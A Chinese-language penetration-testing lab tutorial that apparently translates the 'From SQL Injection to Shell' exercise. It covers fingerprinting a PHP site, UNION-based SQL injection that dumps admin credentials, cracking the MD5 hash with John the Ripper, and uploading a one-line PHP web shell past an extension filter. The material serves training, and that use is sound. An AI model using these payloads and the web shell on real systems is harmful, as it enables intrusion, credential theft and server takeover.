简介

课程内容:基于PHP的站点的SQL注入,攻击者可以使用它来访问管理页面。
然后,使用该访问,攻击者就能获得服务器上的代码执行。

攻击分为3个步骤:

  • 指纹识别:收集Web应用的技术信息。
  • SQL注入检测和利用:在这一部分中,您将学习SQL注入的原理和如何利用它们来获取信息。
  • 访问管理页面和代码执行:最后一步,您将访问操作系统和运行命令。

指纹识别

指纹识别可以通过使用多个工具。首先通过使用浏览器,将有可能检测到该应用程序是用PHP写的。

检查HTTP头部信息

大量的信息可以通过使用telnet或netcat连接到远程Web应用程序获取:

1
$ telnet vulnerable 80

PS:

  • vulnerable是主机名或服务器的IP地址;
  • 80是由Web应用程序使用的TCP端口(80是HTTP默认值)。

通过发送以下HTTP请求:

1
2
GET / HTTP/1.1
Host: vulnerable

它有可能获取到PHP版本和Web服务器信息,仅仅通过观察服务器发送回的HTTP响应报头的:

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Date: Thu, 24 Nov 2011 04:40:51 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze3
Vary: Accept-Encoding
Content-Length: 1335
Content-Type: text/html

这里的应用程序只能通过HTTP(没有运行在端口443)。如果应用程序只能通过HTTPS,telnet或netcat就无法与服务器进行通信,可以使用openssl工具:

1
$ openssl s_client -connect vulnerable:443

PS:

  • vulnerable是主机名或服务器的IP地址;
  • 443是由Web应用程序使用的TCP端口(443是HTTPS的默认值)。

使用应用程序如Burp Suite(http://portswigger.net/)设置为代理可以很容易地获取相同的信息:

使用目录扫描

wfuzz工具(http://www.edge-security.com/wfuzz.php)可以用来暴力检测Web服务器上的目录和页面。
下面的命令可以检测远程文件和目录:

1
$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ

使用以下选项:

  • –hc 404 告诉wfuzz如果响应代码404则忽略响应(页面未找到)
  • -z file -f wordlists/big.txt 告诉wfuzz文件使用文件 wordlists/big.txt 作为字典破解远程目录的名称。
  • http://vulnerable/FUZZ 告诉wfuzz在URL中替换 FUZZ 的每个在字典中找到的值。

wfuzz也可以用来检测服务器上的PHP脚本:

1
$ python wfuzz.py -z file -f commons.txt --hc 404 http://vulnerable/FUZZ.php

SQL注入检测

SQL入门

为了理解,检测和利用SQL注入,你需要了解标准查询语言(SQL)。SQL允许开发人员执行以下需求:

  • 使用 SELECT 语句检索信息;
  • 使用 UPDATE 语句更新信息;
  • 使用 INSERT 语句添加新的信息;
  • 使用 DELETE 语句删除信息。
    更多的操作(创建/删除/修改表,数据库或触发器)是可用的但不太可能被用于Web应用程序。

网站最常用的查询语句是 SELECT ,用于从数据库中检索信息。 SELECT 语句的语法如下:

1
SELECT column1, column2, column3 FROM table1 WHERE column4='string1' AND column5=integer1 AND column6=integer2;

在该查询中,以下信息提供给数据库:

  • SELECT语句表示要执行的操作:检索信息;
  • 列的列表显示哪些列被请求;
  • FROM table1 表示从哪一个表获取记录;
  • 语句之后的 WHERE 是用来指示记录应满足什么条件。
    string1 的值是由单引号限定,整数 integer1integer2 可以通过一个单引号分隔( integer2 )或直接放在查询中( integer1 )。

例如下面的请求:

1
SELECT column1, column2, column3 FROM table1 WHERE column4='user' AND column5=3 AND column6=4;

会从下面的表中检索:

使用之前的查询语句,下面的结果将被检索:

我们可以看到,只有这些值被返回,因为它们是匹配所有 WHERE 中的声明条件。
如果你阅读一些处理数据库的源代码,你会经常看到 SELECT * FROM tablename 。 * 是一个通配符请求数据库返回所有列并避免指明它们的名称。

基于整数检测

由于显示错误信息,很容易检测到网站的任何漏洞。SQL注入可以使用任何下列方法检测。
所有这些方法都是基于数据库的一般行为,发现和利用SQL注入取决于很多不同的因素,这些方法本身并不是100%的可靠。这就是为什么你需要尝试它们中的几种去确定给定的参数是存在漏洞的。
让我们以一个购物网站为例子,访问的URL /cat.php?id=1,你会看到图片article1。下表显示你会看到的不同的ID值:

后台的PHP代码如下:

1
2
3
4
5
6
<?php
$id = $_GET["id"];
$result= mysql_query("SELECT * FROM articles WHERE id=".$id);
$row = mysql_fetch_assoc($result);
// ... display of an article from the query result ...
?>

用户提供的值( $_GET[“id] )被直接用于SQL请求语句中。例如,访问的URL:

  • /article.php?id=1 将产生以下请求: SELECT * FROM articles WHERE id=1

  • /article.php?id=2 将产生以下请求: SELECT * FROM articles WHERE id=2
    如果用户试图访问URL /article.php?id=2' ,下列请求将被执行 SELECT * FROM articles WHERE id=2' 。然而,这个SQL请求因为单引号,语法错误,数据库将抛出一个错误。例如,MySQL会抛出如下错误信息:

    You have an error in your SQL syntax; check the
    manual that corresponds to your MySQL server
    version for the right syntax to use near
    ''' at line 1

此错误消息是否在HTTP响应中可见取决于PHP配置。

在URL中提供的值是直接用于请求语句并且被视为一个整数,这允许你查询数据库并且执行基本的数学运算:

  • 如果你试图访问 /article.php?id=2-1 ,下面的请求将被发送到数据库 SELECT * FROM articles WHERE id=2-1 ,并且article1的信息将在网页上显示,因为这次查询等价于 SELECT * FROM articles WHERE id=1 (减法将由数据库自动执行)。
  • 如果你试图访问 /article.php?id=2-0 ,下面的请求将被发送到数据库 SELECT * FROM articles WHERE id=2-0 ,并且article2的信息将在网页上显示,因为这次查询等价于 SELECT * FROM articles WHERE id=2

这些特性提供了一个很好的检测SQL注入的方法:

  • 如果访问 /article.php?id=2-1 显示article1并且访问 /article.php?id=2-0 显示article2,减法是由数据库来完成的,那么你可能发现了一个SQL注入。
  • 如果访问 /article.php?id=2-1 显示article2并且访问 /article.php?id=2-0 也显示article2,你可能没有一个基于整数的SQL注入,但你可能有一个基于字符串的SQL注入,正如我们将看到的。
  • 如果你把一个引号放入URL中( /article.php?id=1' ),你应该收到一个错误。

如果一个值是一个整数(例如categorie.php?id=1),它可以被当作字符串用于SQL语句中:
SELECT * FROM categories where id='1'.
这是SQL允许使用的语法,但在SQL语句中使用字符串会比使用整数慢。

基于字符串检测

正如我们之前在“SQL入门”中看到的,SQL语句中的字符串值被放在引号当中(例如'test'):

1
SELECT id,name FROM users where name='test';

如果SQL注入是在网页中,注入一个单引号 ' 将打破查询语法并且产生错误。另外,注入2次单引号 ' ' 不会打破查询。作为一般规则,奇数单引号将抛出一个错误,偶数单引号不会。

它也可以注释掉查询语句的末尾,因此在大多数情况下,你不会得到一个错误(这取决于查询的格式)。你可以用 '– 来注释掉末尾。

例如下面的查询,在test处有一个注入点:

1
SELECT id,name FROM users where name='test' and id=3;

会变成:

1
SELECT id,name FROM users where name='test' -- ' and id=3;

并且会被解释为:

1
SELECT id,name FROM users where name='test'

然而这个测试仍然可能产生一个错误,如果查询如下模式:

1
SELECT id,name FROM users where ( name='test' and id=3 );

由于右括号会因为末尾的注释而消失。你可以尝试一个或多个括号来查找一个值使它不会产生错误。

另一种方式来测试它,是使用 ' and '1'='1 ,这种注入不太可能影响查询,因为它不太可能打破语法。例如,在之前的查询中采用这种方式注入,我们可以看到语法仍然是正确的。

1
SELECT id,name FROM users where ( name='test' and '1'='1' and id=3 );

此外, ' and '1'='1 不太可能影响的请求和结果,因为有没有注入的语义可能是相同的。我们可以通过使用注入 ' and '1'='0 产生的页面来与它比较,虽然并没有产生错误,但改变了查询的语义。
SQL注入并不是一门精确的科学,很多东西都会影响到你的测试结果。如果你遇到这些,继续测试注入,尝试测试出后台代码来确认它是一个SQL注入。
为了找到SQL注入,你需要访问网站并且使用这些方法测试每一个页面的每一个参数。一旦你发现了SQL注入,你可以到下一节去学习如何利用它。

SQL注入利用

现在我们网页 http://vulnerable/cat.php 发现了一个SQL注入,为了更进一步,我们需要利用它来检索信息。为此,我们需要了解SQL中使用的 UNION 关键字。

UNION关键字

UNION 声明是用来把两次请求的信息放在一起:

1
SELECT * FROM articles WHERE id=3 UNION SELECT ...

因为它是用来从其他表中检索信息,它可以用来作为一个SQL注入的有效载荷。请求的开始不能被攻击者直接修改,因为它是由PHP代码生成的。然而使用UNION,攻击者可以操纵查询的结束并且从其他表中检索信息:

1
2
SELECT id,name,price FROM articles WHERE id=3  
UNION SELECT id,login,password FROM users

最重要的规则是两次查询返回的列的类型相同,否则数据库将触发一个错误。

使用UNION利用SQL注入

使用UNION利用SQL注入遵循下面的步骤:

  1. 找出列数用来执行UNION
  2. 找出哪些列被显示在页面上
  3. 从元表数据库中检索信息
  4. 从其他表或数据库中检索信息

为了执行SQL注入的请求,你需要找到所查询的第一部分返回的列数。你需要猜这个数,除非你有应用程序的源代码。

有两种方法得到这个信息:

  • 使用 UNION SELECT 和增加列数;
  • 使用 ORDER BY 语句。

如果你尝试 UNION 并且两个查询返回的列数是不同的,数据库将抛出一个错误:

1
The used SELECT statements have a different number of columns

可以使用这个属性来猜列数。例如,如果你可以注入以下语句: SELECT id,name,price FROM articles where id=1 ,你可以采用以下步骤:

  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1 ,注入内容 1 UNION SELECT 1 将返回一个错误因为查询语句的两个子部分的列数是不同的;
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2 ,因为如上同样的原因,注入内容 1 UNION SELECT 1,2 会返回一个错误;
  • SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3 ,因为两个子部分拥有相同的列数,此查询不会抛出错误。你甚至可以在页面或页面的源代码中,看到一个数字。

注:本项目为MySQL,使用的的方法与其他数据库略有不同,值1,2,3…应该改成null,null,null…,如果数据库要求 UNION 两边的部分相同的值类型。例如Oracle,当使用SELECT时需要使用FROM,可以使用dual表来完成请求: UNION SELECT null,null,null FROM dual

另一种方法是利用关键字 ORDER BYORDER BY 主要用来告诉数据库哪些列被用于排序结果:

1
SELECT firstname,lastname,age,groups FROM users ORDER BY firstname

上述请求将返回users表按照firstname排序后的结果。
ORDER BY 也可以用一个整数告诉数据库排序的列数 X:

1
SELECT firstname,lastname,age,groups FROM users ORDER BY 3

上述请求将返回users表按照第3列排序后的结果。
此功能可用于检测列数,如果表中的列数大于 ORDER BY 查询中的列数,则抛出一个错误(例如10):

1
Unknown column '10' in 'order clause'

可以使用这个属性来猜列数。例如,如果你可以注入以下语句: SELECT id,name,price FROM articles where id=1 ,你可以采用以下步骤:

  • SELECT id,name,price FROM articles where id=1 ORDER BY 5 ,注入内容 1 ORDER BY 5 将返回一个错误,因为查询的第一部分列数小于5;
  • SELECT id,name,price FROM articles where id=1 ORDER BY 3 ,注入内容 1 ORDER BY 3 不会返回错误,因为查询的第一部分列数大于或等于3;
  • SELECT id,name,price FROM articles where id=1 ORDER BY 4 ,注入内容 1 ORDER BY 4 将返回一个错误,因为查询的第一部分列数小于4。

基于这种二分法的搜索,我们可以知道列数是3,我们现在可以利用这些信息来建立最终的查询:

1
SELECT id,name,price FROM articles where id=1 UNION SELECT 1,2,3

尽管在本例中这种方法使用了相同的请求数,但它的速度会明显加快,当列数增长时。

检索信息

现在我们已经知道了列数,我们可以从数据库中检索信息。基于我们收到的错误信息,我们知道后台使用的数据库是 MySQL 。
利用这些信息,我们可以迫使数据库执行一个函数或给我们发送信息:

  • 通过PHP应用程序连接到数据库的用户信息,使用 current_user()
  • 数据库版本信息,使用 version()

为了实现这些,我们需要在之前的语句( UNION SELECT 1,2,3 )中用我们想要执行的函数替换掉一个值,然后在响应中检索信息。
确保你总是保持列数正确当你试图检索信息时。

例如你可以访问以下URL来获取这些信息:

我们现在能够从数据库中检索信息并且检索任意内容。为了获取当前应用程序的相关信息,我们需要:

  • 当前数据库中的所有表的名称
  • 我们想要从中检索信息的表中列的名称

MySQL提供了包含有关数据库,表,列信息的元信息表,MySQL 5版本及以上。我们将使用这些表来获取我们需要的最终要求信息。这些表存储在数据库 information_schema 中。
下面的查询可用于检索:

  • 所有表的列表: SELECT table_name FROM information_schema.tables
  • 所有列的列表: SELECT column_name FROM information_schema.columns

通过混合这些查询和以前的URL,你可以猜出什么网页访问用于信息检索:

  • 表的列表: 1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables
  • 列的列表: 1 UNION SELECT 1,column_name,3,4 FROM information_schema.columns

问题是,这些查询语句为您提供所有表和列的列表,但在数据库中查询和检索感兴趣的信息,你需要知道哪些列属于哪些表。幸好, information_schema.columns 表中储存有列名。

1
SELECT table_name,column_name FROM information_schema.columns

获取这些信息,我们可以

  • 把表名和列名放在不同的注射位置: 1 UNION SELECT 1, table_name, column_name,4 FROM information_schema.columns
  • 在同一个注入位置使用 CONCAT 连接表名和列名: 1 UNION SELECT 1,concat(table_name,':', column_name),3,4 FROM information_schema.columns':' 很容易分割查询结果。

如果你想轻松的在结果页面使用正则表达式检索信息(比如你想写一个SQL注入的脚本),你可以使用一个标记在注入内容 ``1 UNION SELECT 1,concat(‘^^^’,table_name,’:’,column_name,’^^^’) FROM information_schema.columns` 中。它很容易在页面中匹配结果。

你现在有表和它们的列的列表,第一个表和列是默认的MySQL表。在HTML页面的最后,我们可以看到一个表的列表可能被目前的应用所使用:

使用此信息,您现在可以创建一个查询,从该表中检索信息:

1
1 UNION SELECT 1,concat(login,':',password),3,4 FROM users;

并获取用户名和密码用于访问管理页面:

该SQL注入提供和访问数据库连接的应用程序使用用户相同的权限(current_user())…这就是为什么当你在部署WEB应用的时候尽可能给它的用户最低权限。

访问管理页面和代码执行


破解密码

使用2种不同的方法可以很容易的破解密码:

如果哈希值无盐,它可以轻易被破解,通过使用搜索引擎像谷歌。因为,只要搜索哈希,你将在很多网站看到你的密码的明文版:

John-The-Ripper可以用来破解这个密码,最现代的Linux发行版包括一个版本的John,为了破解这个密码,你需要告诉John什么算法被用于加密。对于Web应用程序,一个好的猜测是MD5。
在大多数的Linux发行版中,只提供支持少数格式的John-The-Ripper版本。你可以运行John不带任何参数,从使用信息中获取支持的格式列表。例如在Fedora,支持以下格式:

1
2
3
4
$ john
# ...usage information...
--format=NAME force hash type NAME: DES/BSDI/MD5/BF/AFS/LM/crypt
# ...usage information...

不幸的是,这个有效的MD5并不是通过PHP的md5函数M创建的。为了破解这个密码,我们将需要一个支持raw-md5的新版本John。官网提供有支持raw-md5的社区增强版。

现在我们需要给John提供正确的格式信息,我们需要把用户名和密码放在同一行用冒号“:”分开。

1
admin:8efe310f9ab3efeae8d410a8e0166eb2

下面的命令行可以用来在破解密码之前检索:

1
$ ./john password --format=raw-md5  --wordlist=dico --rules

使用以下选项:

  • password 告诉John什么文件包含密码的哈希值
  • –format=raw-md5 告诉John密码哈希是raw-md5格式
  • –wordlist=dico 告诉John使用文件 dico 作为字典
  • –rules 告诉John尝试遍历每个可用的单词

John输出匹配的哈希数:

1
Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)])

这提供了一个提示,正确的格式。

你可以很快的获取到密码:

1
2
3
$ ./john password --format=raw-md5  --wordlist=dico --rules
Loaded 1 password hash (Raw MD5 [SSE2 16x4x2 (intr)])
P4ssw0rd (admin)

上传WebShell并且执行代码

一旦进入了管理页面,下一个目标是找到在操作系统上执行命令的方法。

我们可以看到,有一个文件上传功能允许用户上传图片,我们可以利用这个功能来上传一个PHP脚本。这个PHP脚本一旦上传到服务器会给我们提供一种方式,运行PHP代码和命令。

首先我们需要创建一个PHP脚本运行命令。下面是一个简单的和最小的网页木马的源代码:

1
2
3
<?php
system($_GET['cmd']);
?>

这个脚本的内容为执行调用系统命令cmd。它需要被保存为一个带.php扩展名的文件。例如 shell.php 可以作为文件名。

我们现在可以使用页面 http://vulnerable/admin/new.php 提供的上传功能来尝试上传这个脚本。

我们可以看到,脚本没有正确上传到服务器上。应用阻止.php扩展名扩展名的文件上传。但是我们可以尝试:

  • .php3 会绕过对 .php 的简单过滤
  • .php.test 会绕过对 .php 的简单过滤,并且Apache仍然会使用 .php 来解析,因为配置中不存在对 .test 的处理。

现在,我们需要找到这个PHP脚本,管理上传到Web服务器的文件。我们需要确保文件直接用于Web客户端。我们可以访问新上传的图像的页面,看到 <img 标记指向:

1
2
3
4
5
6
7
8
<div class="content">
<h2 class="title">Last picture: Test shell</h2>

<div class="inner" align="center">
<p>
<img src="admin/uploads/shell.php3" alt="Test shell" /> </p>
</div>
</div>

你现在可以访问下面的地址并且开始运行命令通过使用cmd参数。例如,访问 http://vulnerable/admin/uploads/shell.php3?cmd=uname 会在操作系统上运行命令 uname 并且返回当前内核( Linux )。
其他命令可以用来获取更多信息:

  • uname -a 来获得当前内核的版本;
  • ls 来获取当前目录的内容;

这个webshell拥有运行PHP脚本的Web服务器相同的权限,例如你不能访问文件 /etc/shadow因为web服务器不能访问这个文件(当你应该尝试假设管理员错误的改变了这个文件的权限)。

每个命令都是运行在一个全新的上下文,独立于前面的命令, 你不能通过运行 cdls来获取 /etc/ 目录中的内容,因为第二条命令是一个新的上下文。想要获得 /etc/ 目录中的内容,你需要运行 ls /etc/

总结

这个练习将教你如何手动检测和利用SQL注入进入管理页面。一旦进入“信任区”,更多可用的功能将产生更多的漏洞。

这个练习基于几年前对网站进行渗透测试的结果,但存在这类漏洞的网站今天仍可以在互联网上找到。